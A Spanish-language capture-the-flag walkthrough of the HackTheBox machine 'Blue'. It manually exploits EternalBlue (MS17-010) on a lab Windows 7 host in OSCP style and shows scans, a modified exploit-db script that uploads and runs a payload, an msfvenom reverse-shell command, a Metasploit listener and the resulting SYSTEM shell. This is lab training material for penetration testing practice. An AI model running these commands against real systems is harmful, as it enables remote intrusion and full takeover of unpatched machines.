HackTheBox - Blue (Guía)

En esta máquina aprenderemos a explotar MS17-010, también conocido como EternalBlue. Un exploit del servicio SMB qué nos permite la ejecución de código remoto debido a un desbordamiento del búfer en la memoria del kernel.


Lo explotaremos de manera MANUAL, modo OSCP. ¡Vamos con ello!





Índice



PUERTOS Y SERVICIOS CON NMAP

Lo primero, como siempre, comenzamos con un escaneo de puertos para ver qué servicios nos encontramos:


└─$ nmap -p- -n -T4 -sC -sV -vv -oA nmap_allPorts 10.129.190.127 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-22 22:44 CEST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:44
Scanned at 2021-08-22 22:44:35 CEST for 99s
Not shown: 65526 closed ports
Reason: 65526 conn-refused
PORT      STATE SERVICE      REASON  VERSION
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        syn-ack Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack Microsoft Windows RPC
49156/tcp open  msrpc        syn-ack Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -19m57s, deviation: 34m36s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 37840/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 30607/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 46770/udp): CLEAN (Timeout)
|   Check 4 (port 2129/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-08-22T21:46:09+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-22T20:46:08
|_  start_date: 2021-08-22T20:41:26

Como vemos, lo que más nos debería llamar la atención en este caso es el servicio SMB abierto en los puertos 139 y 445.


Además tenemos la versión así que podemos enumerar un poquito más profundo. Muy atentos porque también tenemos el identificador del OS, en este caso nos enfrentamos a un Windows 7 SP1 Pro, algo que nos será relevante para los pasos posteriores.


Recordad que debéis intentar sacar la versión de todos los servicios relevantes antes de pasar a la siguiente fase. De esta manera podréis buscar más exploits si el plan B os falla

Lanzamos nmap de nuevo pero esta vez con el engine de scripts para localizar vulnerabilidades relacionados con el servicio SMB. No os olvidéis que Nmap tiene muy buenos scripts implementados, no siempre tenemos que recurrir a "terceros" para sacar info muy jugosa:


└─$ nmap --script smb-vuln* -p139,445 -T4 -Pn -oA nmap_smbVuln 10.129.190.127                                       
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-22 22:51 CEST
Nmap scan report for 10.129.190.127
Host is up (0.039s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 27.66 seconds

Aquí es donde podemos empezar a confiar en que nuestro billete de ida al sistema, efectivamente, va a pasar por ese SMB. Nmap acaba de soplar que parece ser vulnerable a la vulnerabilidad MS17-010, la archiconocida como EternalBlue (de ahí el nombre de la máquina).


En este punto, podríamos ir más allá enumerando usuarios, directorios, etc... y otros aspectos relevantes al servicio SMB, pero dado que tenemos indicios muy fiables a priori de la vulnerabilidad que vamos a poder explotar, conviene no entretenernos de más ahora mismo para poder comprometer rápidamente el sistema. Recordad que en la OSCP el tiempo es oro. Si véis que podéis entrar por un sitio, no lo dudéis, entrad pero sin olvidaros de tener un plan B,C y D.




LOCALIZANDO EL EXPLOIT


Sabemos el nombre del exploit: EternalBlue.

Lo primero que haremos será buscar en exploitdb con dentro de nuestra máquina, para ello:


└─$ searchsploit ms17-010
------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ---------------------------------
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code E | windows/remote/43970.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)             | windows/dos/41891.rb
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)          | windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution | windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010 | windows_x86-64/remote/42030.py
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17- | windows_x86-64/remote/41987.py
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Vemos una coincidencia. ¿Recordáis cuando os dije que era importante quedaros con el OS que nos dijo Nmap? Aquí vemos varios exploits para el MS17-010, pero no nos funcionarán todos.


En nuestro caso, necesitamos el 42315.py que además, encontraremos aquí como Prueba de Concepto:


https://www.exploit-db.com/exploits/42315


Los exploits del SMB basados en Eternal--- son bastante inestables por norma general. A veces requieren varios intentos antes de tener éxito e incluso es bastante probable que crasheen el sistema víctima, haciendo obligatorio el reiniciar la instancia y volverlo a intentar.


En este caso, el exploit de SLEEPYA es de los más estables y suele entrar a la primera, no obstante tened en cuenta lo anterior.




MODIFICANDO EL CÓDIGO


Vale, ya tenemos el exploit, pero debemos modificarlo para que sea válido.


Podéis recurrir al comando DIFF de linux como hago yo, para documentar las variaciones en el código de una manera más visual, aquí os dejo las modificaciones:


└─$ diff 42315_original.py 42315_modified.py
36c36
< USERNAME = ''
---
> USERNAME = 'guest'
916,920c916,920
< 	print('creating file c:\\pwned.txt on the target')
< 	tid2 = smbConn.connectTree('C$')
< 	fid2 = smbConn.createFile(tid2, '/pwned.txt')
< 	smbConn.closeFile(tid2, fid2)
< 	smbConn.disconnectTree(tid2)
---
> 	print('hijacking the HTB-Blue machine...5t4y fr05ty...')
> 	#tid2 = smbConn.connectTree('C$')
> 	#fid2 = smbConn.createFile(tid2, '/pwned.txt')
> 	#smbConn.closeFile(tid2, fid2)
> 	#smbConn.disconnectTree(tid2)
923c923,924
< 	#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
---
> 	smb_send_file(smbConn, '/home/testa/Pentest/Machines/HTB/Blue/Exploits/42315/shell.exe', 'C', '/shell.exe')
> 	service_exec(conn, r'cmd /c C:\\shell.exe')

El código en rojo es el código por defecto. El verde es el modificado por mí. Los códigos de la línea superior son los números correspondientes de líneas.


Hemos tenido que añadir las credenciales para acceder al SMB, en nuestro caso, Nmap ya nos comentó qué podemos acceder mediante el user guest. El password se queda en blanco ya que nuestras credenciales son como invitado.


El siguiente punto que debemos modificar es comentar todo el bloque dónde el exploit coloca un .txt en el directorio del sistema a modo de prueba de concepto.


Nosotros necesitamos subir un ejecutable que tenga embedida una reverse shell a modo de payload y posteriormente ejecutarla.


Para ello tenemos que usar la misma directiva que usa el exploit pero añadiendo nuestro binario.


smb_send_file(smbConn, '/home/testa/Pentest/Machines/HTB/Blue/Exploits/42315/shell.exe', 'C', '/shell.exe')

Esto envía desde nuestra máquina a la máquina víctima el archivo shell.exe, selecciona la unidad C del sistema víctima, y finalmente lo suelta en la raid como shell.exe.


Por último, lo ejecuta:


service_exec(conn, r'cmd /c C:\\shell.exe')

Y con esto el ciclo del exploit estaría listo.



CREANDO EL PAYLOAD


Claro que aún tenemos que hacer la payload. Lo que os he explicado anteriormente es el modo de utilizar el exploit, nuestro arma, pero ahora necesitamos fabricar la bala.


Para ello utilizaremos msfvenom:


└─$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.104 LPORT=5555 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

Podríamos haber usado un meterpreter, pero estamos en modo OSCP así que lo haremos a pelo, por eso usamos una shell


PREPARANDO EL LISTENER


La shell que hemos preparado con msfvenom es staged, es decir, se despliega por fases, por lo que no bastará con configurar un listener simple con netcat. Necesitaremos un Multi Handler de metasploit (esto si está permitido por la OSCP).


msf6 > use exploit/multi/handler
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, p
                                        rocess, none)
 LHOST     10.10.14.104     yes       The listen address (an interface may be spec
                                        ified)
 LPORT     5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.104:5555

Recordad configurar los parámetros correspondientes con vuestra IP y la de la máquina víctima.


Todo listo hasta aquí, pero nos falta una última cosa antes de lanzar el exploit




OBTENIENDO LAS PIPES


Uno de los parámetros que tenemos que pasarle al exploit al ejecutarlo es la pipe sobre la que queremos que se ejecute.


Una pipe en el entorno de windows es una técnica que utiliza para comunicar varios procesos entre sí.


Tendremos que decirle al exploit que pipe queremos que utilice el sistema para comunicar nuestro exploit, pero no vale cualquiera, tiene que ser una que se encuentre en el sistema víctima.


Para ello usaremos el rpcdump que viene en kali con impacket:


└─$ impacket-rpcdump -p 445 guest@10.129.190.127
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Retrieving endpoint list from 10.129.190.127
Protocol: [MS-RSP]: Remote Shutdown Protocol 
Provider: wininit.exe 
UUID    : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0 
Bindings: 
          ncacn_ip_tcp:0.0.0.0[49152]
          ncalrpc:[WindowsShutdown]
          ncacn_np:\\HARIS-PC[\PIPE\InitShutdown]
          ncalrpc:[WMsgKRpc089230]

Protocol: N/A 
Provider: dhcpcsvc6.dll 
UUID    : 3C4728C5-F0AB-448B-BDA1-6CE01EB0A6D6 v1.0 DHCPv6 Client LRPC Endpoint
Bindings: 
          ncalrpc:[dhcpcsvc6]
          ncalrpc:[dhcpcsvc]
          ncalrpc:[Audiosrv]
          ncalrpc:[AudioClientRpc]
          ncacn_ip_tcp:0.0.0.0[49153]
          ncacn_np:\\HARIS-PC[\pipe\eventlog]
          ncalrpc:[eventlog]

Protocol: N/A 
Provider: srvsvc.dll 
UUID    : 98716D03-89AC-44C7-BB8C-285824E51C4A v1.0 XactSrv service
Bindings: 
          ncacn_ip_tcp:0.0.0.0[49154]
          ncacn_np:\\HARIS-PC[\PIPE\atsvc]
          ncalrpc:[senssvc]
          ncalrpc:[OLEB7D1391318744D6781B8D5501956]
          ncalrpc:[IUserProfile2]

Protocol: N/A 
Provider: sysmain.dll 
UUID    : B58AA02E-2884-4E97-8176-4EE06D794184 v1.0 
Bindings: 
          ncalrpc:[trkwks]
          ncacn_np:\\HARIS-PC[\pipe\trkwks]
          ncalrpc:[LRPC-f4acdda8eb47189834]
          ncalrpc:[OLE027E3BC81124486BA35E3F631FE5]

Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol 
Provider: samsrv.dll 
UUID    : 12345778-1234-ABCD-EF00-0123456789AC v1.0 
Bindings: 
          ncacn_ip_tcp:0.0.0.0[49157]
          ncalrpc:[samss lpc]
          ncacn_np:\\HARIS-PC[\PIPE\protected_storage]
          ncalrpc:[protected_storage]
          ncalrpc:[lsasspirpc]
          ncalrpc:[lsapolicylookup]
          ncalrpc:[LSARPC_ENDPOINT]
          ncalrpc:[securityevent]
          ncalrpc:[audit]
          ncalrpc:[LRPC-d42bf9bf3a43f2e9c2]
          ncacn_np:\\HARIS-PC[\pipe\lsass]

[*] Received 112 endpoints.

Ahí tenemos varias para elegir, así que ahora si, tenemos todo listo.




EJECUCIÓN DEL EXPLOIT


Con toda la información y el material recopilado, lanzamos la bomba:

└─$ python 42315_modified.py 10.129.190.127 lsass
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa800298e840
SESSION: 0xfffff8a00317f5e0
FLINK: 0xfffff8a00842e088
InParam: 0xfffff8a00842815c
MID: 0x4703
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
hijacking the HTB-Blue machine...5t4y fr05ty...
Opening SVCManager on 10.129.190.127.....
Creating service FTXv.....
Starting service FTXv.....
The NETBIOS connection with the remote host timed out.
Removing service FTXv.....
ServiceExec Error on: 10.129.190.127
nca_s_proto_error
Done

Y si miramos a nuestro listener en metasploit...


[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.129.190.127
[*] Command shell session 3 opened (10.10.14.104:5555 -> 10.129.190.127:49160) at 2021-08-23 01:39:14 +0200

whoami
whoami
nt authority\system

C:\Windows\system32>

Estamos dentro como NT AUTHORITY, es decir, somos administradores. We won




LAS FLAGS


La flag de root está en: "C:\Users\Administrator\Desktop\root.txt"

La flag de user está en: "C:\Users\haris\Desktop\user.txt"




DESCARGAS COMPLEMENTARIAS


Os dejo por aquí el reporte modo OSCP de la máquina y las notas organizadas que fui tomando en tiempo real al realizarla.